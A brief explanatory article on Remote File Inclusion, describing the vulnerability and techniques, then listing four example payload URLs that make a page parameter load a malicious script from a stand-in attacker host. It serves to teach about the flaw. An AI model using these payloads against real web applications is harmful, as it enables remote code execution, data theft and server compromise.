What is Remote File Inclusion (RFI)?
Remote File Inclusion (RFI) is a vulnerability commonly found in web applications that allows an attacker to include remote files on a server through the web browser. This vulnerability arises when a web application dynamically includes files from external sources, such as URLs, without proper input validation or sanitization. Attackers can exploit RFI to execute malicious code hosted on remote servers, leading to unauthorized access, data theft, or server compromise.
Exploits and Commands
RFI vulnerabilities can be exploited using various techniques, including:
- URL Parameter Manipulation: Injecting malicious URLs into vulnerable parameters to include remote files.
- PHP Code Injection: Injecting PHP code into vulnerable parameters to execute arbitrary commands on the server.
- Remote Code Execution: Leveraging RFI to execute arbitrary code hosted on remote servers.
Common commands and payloads used in RFI exploitation include:
http://example.com/page.php?file=http://attacker.com/malicious_script.php
http://example.com/page.php?file=ftp://attacker.com/malicious_script.php
http://example.com/page.php?file=https://attacker.com/malicious_script.php
http://example.com/page.php?file=file://attacker.com/malicious_script.phpThese commands demonstrate how attackers can exploit RFI vulnerabilities by injecting URLs pointing to malicious scripts hosted on remote servers.